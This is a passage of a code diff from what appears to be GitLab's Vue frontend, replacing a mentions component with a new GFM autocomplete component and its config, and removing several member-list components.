+++ b/app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue
@@ -286,6 +286,7 @@ export default {
handleFilterSubmit() {
const filterTokens = uniqueTokens(this.filterValue);
this.filterValue = filterTokens;
+
if (this.recentSearchesStorageKey) {
this.recentSearchesPromise
.then(() => {
@@ -302,6 +303,17 @@ export default {
this.blurSearchInput();
this.$emit('onFilter', this.removeQuotesEnclosure(filterTokens));
},
+ historyTokenOptionTitle(historyToken) {
+ const tokenOption = this.tokens
+ .find(token => token.type === historyToken.type)
+ ?.options?.find(option => option.value === historyToken.value.data);
+
+ if (!tokenOption?.title) {
+ return historyToken.value.data;
+ }
+
+ return tokenOption.title;
+ },
},
};
</script>
@@ -333,7 +345,7 @@ export default {
<span v-if="tokenTitles[token.type]"
>{{ tokenTitles[token.type] }} :{{ token.value.operator }}</span
>
- <strong>{{ tokenSymbols[token.type] }}{{ token.value.data }}</strong>
+ <strong>{{ tokenSymbols[token.type] }}{{ historyTokenOptionTitle(token) }}</strong>
</span>
</template>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/gfm_autocomplete/gfm_autocomplete.vue b/app/assets/javascripts/vue_shared/components/gfm_autocomplete/gfm_autocomplete.vue
new file mode 100644
index 00000000000..1ad0ca36bf8
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/gfm_autocomplete/gfm_autocomplete.vue
@@ -0,0 +1,97 @@
+<script>
+import Tribute from '@gitlab/tributejs';
+import {
+ GfmAutocompleteType,
+ tributeConfig,
+} from 'ee_else_ce/vue_shared/components/gfm_autocomplete/utils';
+import createFlash from '~/flash';
+import axios from '~/lib/utils/axios_utils';
+import { __ } from '~/locale';
+import SidebarMediator from '~/sidebar/sidebar_mediator';
+
+export default {
+ errorMessage: __(
+ 'An error occurred while getting autocomplete data. Please refresh the page and try again.',
+ ),
+ props: {
+ autocompleteTypes: {
+ type: Array,
+ required: false,
+ default: () => Object.values(GfmAutocompleteType),
+ },
+ dataSources: {
+ type: Object,
+ required: false,
+ default: () => gl.GfmAutoComplete?.dataSources || {},
+ },
+ },
+ computed: {
+ config() {
+ return this.autocompleteTypes.map(type => ({
+ ...tributeConfig[type].config,
+ loadingItemTemplate: `<span class="gl-spinner gl-vertical-align-text-bottom gl-ml-3 gl-mr-2"></span>${__(
+ 'Loading',
+ )}`,
+ requireLeadingSpace: true,
+ values: this.getValues(type),
+ }));
+ },
+ },
+ mounted() {
+ this.cache = {};
+ this.tribute = new Tribute({ collection: this.config });
+
+ const input = this.$slots.default?.[0]?.elm;
+ this.tribute.attach(input);
+ },
+ beforeDestroy() {
+ const input = this.$slots.default?.[0]?.elm;
+ this.tribute.detach(input);
+ },
+ methods: {
+ cacheAssignees() {
+ const isAssigneesLengthSame =
+ this.assignees?.length === SidebarMediator.singleton?.store?.assignees?.length;
+
+ if (!this.assignees || !isAssigneesLengthSame) {
+ this.assignees =
+ SidebarMediator.singleton?.store?.assignees?.map(assignee => assignee.username) || [];
+ }
+ },
+ filterValues(type) {
+ // The assignees AJAX response can come after the user first invokes autocomplete
+ // so we need to check more than once if we need to update the assignee cache
+ this.cacheAssignees();
+
+ return tributeConfig[type].filterValues
+ ? tributeConfig[type].filterValues({
+ assignees: this.assignees,
+ collection: this.cache[type],
+ fullText: this.$slots.default?.[0]?.elm?.value,
+ selectionStart: this.$slots.default?.[0]?.elm?.selectionStart,
+ })
+ : this.cache[type];
+ },
+ getValues(type) {
+ return (inputText, processValues) => {
+ if (this.cache[type]) {
+ processValues(this.filterValues(type));
+ } else if (this.dataSources[type]) {
+ axios
+ .get(this.dataSources[type])
+ .then(response => {
+ this.cache[type] = response.data;
+ processValues(this.filterValues(type));
+ })
+ .catch(() => createFlash({ message: this.$options.errorMessage }));
+ } else {
+ processValues([]);
+ }
+ };
+ },
+ },
+ render(createElement) {
+ return createElement('div', this.$slots.default);
+ },
+};
+</script>
diff --git a/app/assets/javascripts/vue_shared/components/gfm_autocomplete/utils.js b/app/assets/javascripts/vue_shared/components/gfm_autocomplete/utils.js
new file mode 100644
index 00000000000..2581888b504
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/gfm_autocomplete/utils.js
@@ -0,0 +1,142 @@
+import { escape, last } from 'lodash';
+import { spriteIcon } from '~/lib/utils/common_utils';
+
+const groupType = 'Group'; // eslint-disable-line @gitlab/require-i18n-strings
+
+const nonWordOrInteger = /\W|^\d+$/;
+
+export const GfmAutocompleteType = {
+ Issues: 'issues',
+ Labels: 'labels',
+ Members: 'members',
+ MergeRequests: 'mergeRequests',
+ Milestones: 'milestones',
+ Snippets: 'snippets',
+};
+
+function doesCurrentLineStartWith(searchString, fullText, selectionStart) {
+ const currentLineNumber = fullText.slice(0, selectionStart).split('\n').length;
+ const currentLine = fullText.split('\n')[currentLineNumber - 1];
+ return currentLine.startsWith(searchString);
+}
+
+export const tributeConfig = {
+ [GfmAutocompleteType.Issues]: {
+ config: {
+ trigger: '#',
+ lookup: value => `${value.iid}${value.title}`,
+ menuItemTemplate: ({ original }) =>
+ `<small>${original.reference || original.iid}</small> ${escape(original.title)}`,
+ selectTemplate: ({ original }) => original.reference || `#${original.iid}`,
+ },
+ },
+
+ [GfmAutocompleteType.Labels]: {
+ config: {
+ trigger: '~',
+ lookup: 'title',
+ menuItemTemplate: ({ original }) => `
+ <span class="dropdown-label-box" style="background: ${escape(original.color)};"></span>
+ ${escape(original.title)}`,
+ selectTemplate: ({ original }) =>
+ nonWordOrInteger.test(original.title)
+ ? `~"${escape(original.title)}"`
+ : `~${escape(original.title)}`,
+ },
+ filterValues({ collection, fullText, selectionStart }) {
+ if (doesCurrentLineStartWith('/label', fullText, selectionStart)) {
+ return collection.filter(label => !label.set);
+ }
+
+ if (doesCurrentLineStartWith('/unlabel', fullText, selectionStart)) {
+ return collection.filter(label => label.set);
+ }
+
+ return collection;
+ },
+ },
+
+ [GfmAutocompleteType.Members]: {
+ config: {
+ trigger: '@',
+ fillAttr: 'username',
+ lookup: value =>
+ value.type === groupType ? last(value.name.split(' / ')) : `${value.name}${value.username}`,
+ menuItemTemplate: ({ original }) => {
+ const commonClasses = 'gl-avatar gl-avatar-s24 gl-flex-shrink-0';
+ const noAvatarClasses = `${commonClasses} gl-rounded-small
+ gl-display-flex gl-align-items-center gl-justify-content-center`;
+
+ const avatar = original.avatar_url
+ ? `<img class="${commonClasses} gl-avatar-circle" src="${original.avatar_url}" alt="" />`
+ : `<div class="${noAvatarClasses}" aria-hidden="true">
+ ${original.username.charAt(0).toUpperCase()}</div>`;
+
+ let displayName = original.name;
+ let parentGroupOrUsername = `@${original.username}`;
+
+ if (original.type === groupType) {
+ const splitName = original.name.split(' / ');
+ displayName = splitName.pop();
+ parentGroupOrUsername = splitName.pop();
+ }
+
+ const count = original.count && !original.mentionsDisabled ? ` (${original.count})` : '';
+
+ const disabledMentionsIcon = original.mentionsDisabled
+ ? spriteIcon('notifications-off', 's16 gl-ml-3')
+ : '';
+
+ return `
+ <div class="gl-display-flex gl-align-items-center">
+ ${avatar}
+ <div class="gl-font-sm gl-line-height-normal gl-ml-3">
+ <div>${escape(displayName)}${count}</div>
+ <div class="gl-text-gray-700">${escape(parentGroupOrUsername)}</div>
+ </div>
+ ${disabledMentionsIcon}
+ </div>
+ `;
+ },
+ },
+ filterValues({ assignees, collection, fullText, selectionStart }) {
+ if (doesCurrentLineStartWith('/assign', fullText, selectionStart)) {
+ return collection.filter(member => !assignees.includes(member.username));
+ }
+
+ if (doesCurrentLineStartWith('/unassign', fullText, selectionStart)) {
+ return collection.filter(member => assignees.includes(member.username));
+ }
+
+ return collection;
+ },
+ },
+
+ [GfmAutocompleteType.MergeRequests]: {
+ config: {
+ trigger: '!',
+ lookup: value => `${value.iid}${value.title}`,
+ menuItemTemplate: ({ original }) =>
+ `<small>${original.reference || original.iid}</small> ${escape(original.title)}`,
+ selectTemplate: ({ original }) => original.reference || `!${original.iid}`,
+ },
+ },
+
+ [GfmAutocompleteType.Milestones]: {
+ config: {
+ trigger: '%',
+ lookup: 'title',
+ menuItemTemplate: ({ original }) => escape(original.title),
+ selectTemplate: ({ original }) => `%"${escape(original.title)}"`,
+ },
+ },
+
+ [GfmAutocompleteType.Snippets]: {
+ config: {
+ trigger: '$',
+ fillAttr: 'id',
+ lookup: value => `${value.id}${value.title}`,
+ menuItemTemplate: ({ original }) => `<small>${original.id}</small> ${escape(original.title)}`,
+ },
+ },
+};
diff --git a/app/assets/javascripts/vue_shared/components/gl_mentions.vue b/app/assets/javascripts/vue_shared/components/gl_mentions.vue
deleted file mode 100644
index dde7e3ebe13..00000000000
--- a/app/assets/javascripts/vue_shared/components/gl_mentions.vue
+++ /dev/null
@@ -1,238 +0,0 @@
-<script>
-import { escape, last } from 'lodash';
-import Tribute from 'tributejs';
-import axios from '~/lib/utils/axios_utils';
-import { spriteIcon } from '~/lib/utils/common_utils';
-import SidebarMediator from '~/sidebar/sidebar_mediator';
-
-const AutoComplete = {
- Issues: 'issues',
- Labels: 'labels',
- Members: 'members',
- MergeRequests: 'mergeRequests',
- Milestones: 'milestones',
- Snippets: 'snippets',
-};
-
-const groupType = 'Group'; // eslint-disable-line @gitlab/require-i18n-strings
-
-function doesCurrentLineStartWith(searchString, fullText, selectionStart) {
- const currentLineNumber = fullText.slice(0, selectionStart).split('\n').length;
- const currentLine = fullText.split('\n')[currentLineNumber - 1];
- return currentLine.startsWith(searchString);
-}
-
-const autoCompleteMap = {
- [AutoComplete.Issues]: {
- filterValues() {
- return this[AutoComplete.Issues];
- },
- menuItemTemplate({ original }) {
- return `<small>${original.reference || original.iid}</small> ${escape(original.title)}`;
- },
- },
- [AutoComplete.Labels]: {
- filterValues() {
- const fullText = this.$slots.default?.[0]?.elm?.value;
- const selectionStart = this.$slots.default?.[0]?.elm?.selectionStart;
-
- if (doesCurrentLineStartWith('/label', fullText, selectionStart)) {
- return this.labels.filter(label => !label.set);
- }
-
- if (doesCurrentLineStartWith('/unlabel', fullText, selectionStart)) {
- return this.labels.filter(label => label.set);
- }
-
- return this.labels;
- },
- menuItemTemplate({ original }) {
- return `
- <span class="dropdown-label-box" style="background: ${escape(original.color)};"></span>
- ${escape(original.title)}`;
- },
- },
- [AutoComplete.Members]: {
- filterValues() {
- const fullText = this.$slots.default?.[0]?.elm?.value;
- const selectionStart = this.$slots.default?.[0]?.elm?.selectionStart;
-
- // Need to check whether sidebar store assignees has been updated
- // in the case where the assignees AJAX response comes after the user does @ autocomplete
- const isAssigneesLengthSame =
- this.assignees?.length === SidebarMediator.singleton?.store?.assignees?.length;
-
- if (!this.assignees || !isAssigneesLengthSame) {
- this.assignees =
- SidebarMediator.singleton?.store?.assignees?.map(assignee => assignee.username) || [];
- }
-
- if (doesCurrentLineStartWith('/assign', fullText, selectionStart)) {
- return this.members.filter(member => !this.assignees.includes(member.username));
- }
-
- if (doesCurrentLineStartWith('/unassign', fullText, selectionStart)) {
- return this.members.filter(member => this.assignees.includes(member.username));
- }
-
- return this.members;
- },
- menuItemTemplate({ original }) {
- const commonClasses = 'gl-avatar gl-avatar-s24 gl-flex-shrink-0';
- const noAvatarClasses = `${commonClasses} gl-rounded-small
- gl-display-flex gl-align-items-center gl-justify-content-center`;
-
- const avatar = original.avatar_url
- ? `<img class="${commonClasses} gl-avatar-circle" src="${original.avatar_url}" alt="" />`
- : `<div class="${noAvatarClasses}" aria-hidden="true">
- ${original.username.charAt(0).toUpperCase()}</div>`;
-
- let displayName = original.name;
- let parentGroupOrUsername = `@${original.username}`;
-
- if (original.type === groupType) {
- const splitName = original.name.split(' / ');
- displayName = splitName.pop();
- parentGroupOrUsername = splitName.pop();
- }
-
- const count = original.count && !original.mentionsDisabled ? ` (${original.count})` : '';
-
- const disabledMentionsIcon = original.mentionsDisabled
- ? spriteIcon('notifications-off', 's16 gl-ml-3')
- : '';
-
- return `
- <div class="gl-display-flex gl-align-items-center">
- ${avatar}
- <div class="gl-font-sm gl-line-height-normal gl-ml-3">
- <div>${escape(displayName)}${count}</div>
- <div class="gl-text-gray-700">${escape(parentGroupOrUsername)}</div>
- </div>
- ${disabledMentionsIcon}
- </div>
- `;
- },
- },
- [AutoComplete.MergeRequests]: {
- filterValues() {
- return this[AutoComplete.MergeRequests];
- },
- menuItemTemplate({ original }) {
- return `<small>${original.reference || original.iid}</small> ${escape(original.title)}`;
- },
- },
- [AutoComplete.Milestones]: {
- filterValues() {
- return this[AutoComplete.Milestones];
- },
- menuItemTemplate({ original }) {
- return escape(original.title);
- },
- },
- [AutoComplete.Snippets]: {
- filterValues() {
- return this[AutoComplete.Snippets];
- },
- menuItemTemplate({ original }) {
- return `<small>${original.id}</small> ${escape(original.title)}`;
- },
- },
-};
-
-export default {
- name: 'GlMentions',
- props: {
- dataSources: {
- type: Object,
- required: false,
- default: () => gl.GfmAutoComplete?.dataSources || {},
- },
- },
- mounted() {
- const NON_WORD_OR_INTEGER = /\W|^\d+$/;
-
- this.tribute = new Tribute({
- collection: [
- {
- trigger: '#',
- lookup: value => value.iid + value.title,
- menuItemTemplate: autoCompleteMap[AutoComplete.Issues].menuItemTemplate,
- selectTemplate: ({ original }) => original.reference || `#${original.iid}`,
- values: this.getValues(AutoComplete.Issues),
- },
- {
- trigger: '@',
- fillAttr: 'username',
- lookup: value =>
- value.type === groupType ? last(value.name.split(' / ')) : value.name + value.username,
- menuItemTemplate: autoCompleteMap[AutoComplete.Members].menuItemTemplate,
- values: this.getValues(AutoComplete.Members),
- },
- {
- trigger: '~',
- lookup: 'title',
- menuItemTemplate: autoCompleteMap[AutoComplete.Labels].menuItemTemplate,
- selectTemplate: ({ original }) =>
- NON_WORD_OR_INTEGER.test(original.title)
- ? `~"${escape(original.title)}"`
- : `~${escape(original.title)}`,
- values: this.getValues(AutoComplete.Labels),
- },
- {
- trigger: '!',
- lookup: value => value.iid + value.title,
- menuItemTemplate: autoCompleteMap[AutoComplete.MergeRequests].menuItemTemplate,
- selectTemplate: ({ original }) => original.reference || `!${original.iid}`,
- values: this.getValues(AutoComplete.MergeRequests),
- },
- {
- trigger: '%',
- lookup: 'title',
- menuItemTemplate: autoCompleteMap[AutoComplete.Milestones].menuItemTemplate,
- selectTemplate: ({ original }) => `%"${escape(original.title)}"`,
- values: this.getValues(AutoComplete.Milestones),
- },
- {
- trigger: '$',
- fillAttr: 'id',
- lookup: value => value.id + value.title,
- menuItemTemplate: autoCompleteMap[AutoComplete.Snippets].menuItemTemplate,
- values: this.getValues(AutoComplete.Snippets),
- },
- ],
- });
-
- const input = this.$slots.default?.[0]?.elm;
- this.tribute.attach(input);
- },
- beforeDestroy() {
- const input = this.$slots.default?.[0]?.elm;
- this.tribute.detach(input);
- },
- methods: {
- getValues(autoCompleteType) {
- return (inputText, processValues) => {
- if (this[autoCompleteType]) {
- const filteredValues = autoCompleteMap[autoCompleteType].filterValues.call(this);
- processValues(filteredValues);
- } else if (this.dataSources[autoCompleteType]) {
- axios
- .get(this.dataSources[autoCompleteType])
- .then(response => {
- this[autoCompleteType] = response.data;
- const filteredValues = autoCompleteMap[autoCompleteType].filterValues.call(this);
- processValues(filteredValues);
- })
- .catch(() => {});
- } else {
- processValues([]);
- }
- };
- },
- },
- render(createElement) {
- return createElement('div', this.$slots.default);
- },
-};
-</script>
diff --git a/app/assets/javascripts/vue_shared/components/help_popover.vue b/app/assets/javascripts/vue_shared/components/help_popover.vue
index 7154360611f..821ae6cec52 100644
--- a/app/assets/javascripts/vue_shared/components/help_popover.vue
+++ b/app/assets/javascripts/vue_shared/components/help_popover.vue
@@ -1,6 +1,6 @@
<script>
import $ from 'jquery';
-import { GlIcon } from '@gitlab/ui';
+import { GlButton } from '@gitlab/ui';
import { inserted } from '~/feature_highlight/feature_highlight_helper';
import { mouseenter, debouncedMouseleave, togglePopover } from '~/shared/popover';
@@ -11,7 +11,7 @@ import { mouseenter, debouncedMouseleave, togglePopover } from '~/shared/popover
export default {
name: 'HelpPopover',
components: {
- GlIcon,
+ GlButton,
},
props: {
options: {
@@ -43,7 +43,5 @@ export default {
};
</script>
<template>
- <button type="button" class="btn btn-blank btn-transparent btn-help" tabindex="0">
- <gl-icon name="question" />
- </button>
+ <gl-button variant="link" icon="question" tabindex="0" />
</template>
diff --git a/app/assets/javascripts/vue_shared/components/lib/utils/dom_utils.js b/app/assets/javascripts/vue_shared/components/lib/utils/dom_utils.js
index 02f28da8bb0..61ab2a698ce 100644
--- a/app/assets/javascripts/vue_shared/components/lib/utils/dom_utils.js
+++ b/app/assets/javascripts/vue_shared/components/lib/utils/dom_utils.js
@@ -1,5 +1,3 @@
export function pixeliseValue(val) {
return val ? `${val}px` : '';
}
-
-export default {};
diff --git a/app/assets/javascripts/vue_shared/components/loading_button.vue b/app/assets/javascripts/vue_shared/components/loading_button.vue
deleted file mode 100644
index 59ce632c4a2..00000000000
--- a/app/assets/javascripts/vue_shared/components/loading_button.vue
+++ /dev/null
@@ -1,61 +0,0 @@
-<script>
-import { GlLoadingIcon } from '@gitlab/ui';
-/* eslint-disable vue/require-default-prop */
-/*
-This component will be deprecated in favor of gl-deprecated-button.
-https://gitlab-org.gitlab.io/gitlab-ui/?path=/story/base-button--loading-button
-https://gitlab.com/gitlab-org/gitlab/issues/207412
-*/
-
-export default {
- components: {
- GlLoadingIcon,
- },
- props: {
- loading: {
- type: Boolean,
- required: false,
- default: false,
- },
- disabled: {
- type: Boolean,
- required: false,
- default: false,
- },
- label: {
- type: String,
- required: false,
- },
- containerClass: {
- type: [String, Array, Object],
- required: false,
- default: 'btn btn-align-content',
- },
- },
- methods: {
- onClick(e) {
- this.$emit('click', e);
- },
- },
-};
-</script>
-
-<template>
- <button :class="containerClass" :disabled="loading || disabled" type="button" @click="onClick">
- <transition name="fade-in">
- <gl-loading-icon
- v-if="loading"
- :inline="true"
- :class="{
- 'gl-mr-2': label,
- }"
- class="js-loading-button-icon"
- />
- </transition>
- <transition name="fade-in">
- <slot>
- <span v-if="label" class="js-loading-button-label"> {{ label }} </span>
- </slot>
- </transition>
- </button>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/apply_suggestion.vue b/app/assets/javascripts/vue_shared/components/markdown/apply_suggestion.vue
new file mode 100644
index 00000000000..b9729a3dc5c
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/markdown/apply_suggestion.vue
@@ -0,0 +1,59 @@
+<script>
+import { GlDropdown, GlDropdownForm, GlFormTextarea, GlButton } from '@gitlab/ui';
+import { __, sprintf } from '~/locale';
+
+export default {
+ components: { GlDropdown, GlDropdownForm, GlFormTextarea, GlButton },
+ props: {
+ disabled: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ fileName: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ message: null,
+ buttonText: __('Apply suggestion'),
+ headerText: __('Apply suggestion commit message'),
+ };
+ },
+ computed: {
+ placeholderText() {
+ return sprintf(__('Apply suggestion on %{fileName}'), { fileName: this.fileName });
+ },
+ },
+ methods: {
+ onApply() {
+ this.$emit('apply', this.message || this.placeholderText);
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown
+ :text="buttonText"
+ :header-text="headerText"
+ :disabled="disabled"
+ boundary="window"
+ right
+ menu-class="gl-w-full! gl-pb-0!"
+ >
+ <gl-dropdown-form class="gl-m-3!">
+ <gl-form-textarea v-model="message" :placeholder="placeholderText" />
+ <gl-button
+ class="gl-w-quarter! gl-mt-3 gl-text-center! float-right"
+ category="secondary"
+ variant="success"
+ @click="onApply"
+ >
+ {{ __('Apply') }}
+ </gl-button>
+ </gl-dropdown-form>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/field.vue b/app/assets/javascripts/vue_shared/components/markdown/field.vue
index 9cfba85e0d8..232a3054cd0 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/field.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/field.vue
@@ -10,14 +10,14 @@ import { deprecatedCreateFlash as Flash } from '~/flash';
import GLForm from '~/gl_form';
import MarkdownHeader from './header.vue';
import MarkdownToolbar from './toolbar.vue';
-import GlMentions from '~/vue_shared/components/gl_mentions.vue';
+import GfmAutocomplete from '~/vue_shared/components/gfm_autocomplete/gfm_autocomplete.vue';
import Suggestions from '~/vue_shared/components/markdown/suggestions.vue';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import axios from '~/lib/utils/axios_utils';
export default {
components: {
- GlMentions,
+ GfmAutocomplete,
MarkdownHeader,
MarkdownToolbar,
GlIcon,
@@ -173,7 +173,7 @@ export default {
members: this.enableAutocomplete && !this.glFeatures.tributeAutocomplete,
issues: this.enableAutocomplete && !this.glFeatures.tributeAutocomplete,
mergeRequests: this.enableAutocomplete && !this.glFeatures.tributeAutocomplete,
- epics: this.enableAutocomplete,
+ epics: this.enableAutocomplete && !this.glFeatures.tributeAutocomplete,
milestones: this.enableAutocomplete && !this.glFeatures.tributeAutocomplete,
labels: this.enableAutocomplete && !this.glFeatures.tributeAutocomplete,
snippets: this.enableAutocomplete && !this.glFeatures.tributeAutocomplete,
@@ -246,9 +246,9 @@ export default {
/>
<div v-show="!previewMarkdown" class="md-write-holder">
<div class="zen-backdrop">
- <gl-mentions v-if="glFeatures.tributeAutocomplete">
+ <gfm-autocomplete v-if="glFeatures.tributeAutocomplete">
<slot name="textarea"></slot>
- </gl-mentions>
+ </gfm-autocomplete>
<slot v-else name="textarea"></slot>
<a
class="zen-control zen-control-leave js-zen-leave gl-text-gray-500"
diff --git a/app/assets/javascripts/vue_shared/components/members/action_buttons/leave_button.vue b/app/assets/javascripts/vue_shared/components/members/action_buttons/leave_button.vue
deleted file mode 100644
index d9976e7181c..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/action_buttons/leave_button.vue
+++ /dev/null
@@ -1,40 +0,0 @@
-<script>
-import { GlButton, GlModalDirective, GlTooltipDirective } from '@gitlab/ui';
-import { __ } from '~/locale';
-import LeaveModal from '../modals/leave_modal.vue';
-import { LEAVE_MODAL_ID } from '../constants';
-
-export default {
- name: 'LeaveButton',
- title: __('Leave'),
- modalId: LEAVE_MODAL_ID,
- components: {
- GlButton,
- LeaveModal,
- },
- directives: {
- GlModal: GlModalDirective,
- GlTooltip: GlTooltipDirective,
- },
- props: {
- member: {
- type: Object,
- required: true,
- },
- },
-};
-</script>
-
-<template>
- <div>
- <gl-button
- v-gl-tooltip.hover
- v-gl-modal="$options.modalId"
- :title="$options.title"
- :aria-label="$options.title"
- icon="leave"
- variant="danger"
- />
- <leave-modal :member="member" />
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/action_buttons/user_action_buttons.vue b/app/assets/javascripts/vue_shared/components/members/action_buttons/user_action_buttons.vue
deleted file mode 100644
index 484dbb8fef5..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/action_buttons/user_action_buttons.vue
+++ /dev/null
@@ -1,70 +0,0 @@
-<script>
-import ActionButtonGroup from './action_button_group.vue';
-import RemoveMemberButton from './remove_member_button.vue';
-import LeaveButton from './leave_button.vue';
-import { s__, sprintf } from '~/locale';
-
-export default {
- name: 'UserActionButtons',
- components: {
- ActionButtonGroup,
- RemoveMemberButton,
- LeaveButton,
- LdapOverrideButton: () =>
- import('ee_component/vue_shared/components/members/ldap/ldap_override_button.vue'),
- },
- props: {
- member: {
- type: Object,
- required: true,
- },
- isCurrentUser: {
- type: Boolean,
- required: true,
- },
- permissions: {
- type: Object,
- required: true,
- },
- },
- computed: {
- message() {
- const { user, source } = this.member;
-
- if (user) {
- return sprintf(
- s__('Members|Are you sure you want to remove %{usersName} from "%{source}"'),
- {
- usersName: user.name,
- source: source.name,
- },
- );
- }
-
- return sprintf(
- s__('Members|Are you sure you want to remove this orphaned member from "%{source}"'),
- {
- source: source.name,
- },
- );
- },
- },
-};
-</script>
-
-<template>
- <action-button-group>
- <div v-if="permissions.canRemove" class="gl-px-1">
- <leave-button v-if="isCurrentUser" :member="member" />
- <remove-member-button
- v-else
- :member-id="member.id"
- :message="message"
- :title="s__('Member|Remove member')"
- />
- </div>
- <div v-else-if="permissions.canOverride && !member.isOverridden" class="gl-px-1">
- <ldap-override-button :member="member" />
- </div>
- </action-button-group>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/avatars/group_avatar.vue b/app/assets/javascripts/vue_shared/components/members/avatars/group_avatar.vue
deleted file mode 100644
index 12b748f9ab6..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/avatars/group_avatar.vue
+++ /dev/null
@@ -1,34 +0,0 @@
-<script>
-import { GlAvatarLink, GlAvatarLabeled } from '@gitlab/ui';
-import { AVATAR_SIZE } from '../constants';
-
-export default {
- name: 'GroupAvatar',
- avatarSize: AVATAR_SIZE,
- components: { GlAvatarLink, GlAvatarLabeled },
- props: {
- member: {
- type: Object,
- required: true,
- },
- },
- computed: {
- group() {
- return this.member.sharedWithGroup;
- },
- },
-};
-</script>
-
-<template>
- <gl-avatar-link :href="group.webUrl">
- <gl-avatar-labeled
- :label="group.fullName"
- :src="group.avatarUrl"
- :alt="group.fullName"
- :size="$options.avatarSize"
- :entity-name="group.name"
- :entity-id="group.id"
- />
- </gl-avatar-link>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/avatars/invite_avatar.vue b/app/assets/javascripts/vue_shared/components/members/avatars/invite_avatar.vue
deleted file mode 100644
index 28654a60860..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/avatars/invite_avatar.vue
+++ /dev/null
@@ -1,32 +0,0 @@
-<script>
-import { GlAvatarLabeled } from '@gitlab/ui';
-import { AVATAR_SIZE } from '../constants';
-
-export default {
- name: 'InviteAvatar',
- avatarSize: AVATAR_SIZE,
- components: { GlAvatarLabeled },
- props: {
- member: {
- type: Object,
- required: true,
- },
- },
- computed: {
- invite() {
- return this.member.invite;
- },
- },
-};
-</script>
-
-<template>
- <gl-avatar-labeled
- :label="invite.email"
- :src="invite.avatarUrl"
- :alt="invite.email"
- :size="$options.avatarSize"
- :entity-name="invite.email"
- :entity-id="member.id"
- />
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/avatars/user_avatar.vue b/app/assets/javascripts/vue_shared/components/members/avatars/user_avatar.vue
deleted file mode 100644
index e5e7cdf149c..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/avatars/user_avatar.vue
+++ /dev/null
@@ -1,91 +0,0 @@
-<script>
-import {
- GlAvatarLink,
- GlAvatarLabeled,
- GlBadge,
- GlSafeHtmlDirective as SafeHtml,
-} from '@gitlab/ui';
-import { generateBadges } from 'ee_else_ce/vue_shared/components/members/utils';
-import { __ } from '~/locale';
-import { AVATAR_SIZE } from '../constants';
-import { glEmojiTag } from '~/emoji';
-
-export default {
- name: 'UserAvatar',
- avatarSize: AVATAR_SIZE,
- orphanedUserLabel: __('Orphaned member'),
- safeHtmlConfig: { ADD_TAGS: ['gl-emoji'] },
- components: {
- GlAvatarLink,
- GlAvatarLabeled,
- GlBadge,
- },
- directives: {
- SafeHtml,
- },
- props: {
- member: {
- type: Object,
- required: true,
- },
- isCurrentUser: {
- type: Boolean,
- required: true,
- },
- },
- computed: {
- user() {
- return this.member.user;
- },
- badges() {
- return generateBadges(this.member, this.isCurrentUser).filter(badge => badge.show);
- },
- statusEmoji() {
- return this.user?.status?.emoji;
- },
- },
- methods: {
- glEmojiTag,
- },
-};
-</script>
-
-<template>
- <gl-avatar-link
- v-if="user"
- class="js-user-link"
- :href="user.webUrl"
- :data-user-id="user.id"
- :data-username="user.username"
- >
- <gl-avatar-labeled
- :label="user.name"
- :sub-label="`@${user.username}`"
- :src="user.avatarUrl"
- :alt="user.name"
- :size="$options.avatarSize"
- :entity-name="user.name"
- :entity-id="user.id"
- >
- <template #meta>
- <div v-if="statusEmoji" class="gl-p-1">
- <span v-safe-html:[$options.safeHtmlConfig]="glEmojiTag(statusEmoji)"></span>
- </div>
- <div v-for="badge in badges" :key="badge.text" class="gl-p-1">
- <gl-badge size="sm" :variant="badge.variant">
- {{ badge.text }}
- </gl-badge>
- </div>
- </template>
- </gl-avatar-labeled>
- </gl-avatar-link>
-
- <gl-avatar-labeled
- v-else
- :label="$options.orphanedUserLabel"
- :alt="$options.orphanedUserLabel"
- :size="$options.avatarSize"
- :entity-name="$options.orphanedUserLabel"
- :entity-id="member.id"
- />
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/constants.js b/app/assets/javascripts/vue_shared/components/members/constants.js
deleted file mode 100644
index 5885420a122..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/constants.js
+++ /dev/null
@@ -1,71 +0,0 @@
-import { __ } from '~/locale';
-
-export const FIELDS = [
- {
- key: 'account',
- label: __('Account'),
- },
- {
- key: 'source',
- label: __('Source'),
- thClass: 'col-meta',
- tdClass: 'col-meta',
- },
- {
- key: 'granted',
- label: __('Access granted'),
- thClass: 'col-meta',
- tdClass: 'col-meta',
- },
- {
- key: 'invited',
- label: __('Invited'),
- thClass: 'col-meta',
- tdClass: 'col-meta',
- },
- {
- key: 'requested',
- label: __('Requested'),
- thClass: 'col-meta',
- tdClass: 'col-meta',
- },
- {
- key: 'expires',
- label: __('Access expires'),
- thClass: 'col-meta',
- tdClass: 'col-meta',
- },
- {
- key: 'maxRole',
- label: __('Max role'),
- thClass: 'col-max-role',
- tdClass: 'col-max-role',
- },
- {
- key: 'expiration',
- label: __('Expiration'),
- thClass: 'col-expiration',
- tdClass: 'col-expiration',
- },
- {
- key: 'actions',
- thClass: 'col-actions',
- tdClass: 'col-actions',
- showFunction: 'showActionsField',
- },
-];
-
-export const AVATAR_SIZE = 48;
-
-export const MEMBER_TYPES = {
- user: 'user',
- group: 'group',
- invite: 'invite',
